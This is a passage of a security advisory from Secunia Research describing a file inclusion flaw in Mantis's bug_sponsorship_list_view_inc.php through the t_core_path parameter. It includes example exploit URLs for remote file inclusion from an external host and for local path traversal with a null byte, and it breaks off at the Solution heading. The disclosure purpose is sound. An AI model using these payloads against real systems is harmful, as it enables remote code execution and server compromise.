4) Description of Vulnerability
Secunia Research has discovered a vulnerability in Mantis, which can
be exploited by malicious people to compromise a vulnerable system.
Input passed to the "t_core_path" parameter in
"bug_sponsorship_list_view_inc.php" isn't properly verified, before
it used to include files. This can be exploited to include arbitrary
files from external and local resources.
Examples:
http://[host]/bug_sponsorship_list_view_inc.php?
t_core_path=http://[host]/[file].php?
http://[host]/bug_sponsorship_list_view_inc.php?
t_core_path=../../../../../../../[file]%00
Successful exploitation requires that "register_globals" is enabled
(not recommended setting).
The vulnerability has been confirmed in versions 0.19.2 and 1.0.0rc2.
Other versions may also be affected.

5) Solution
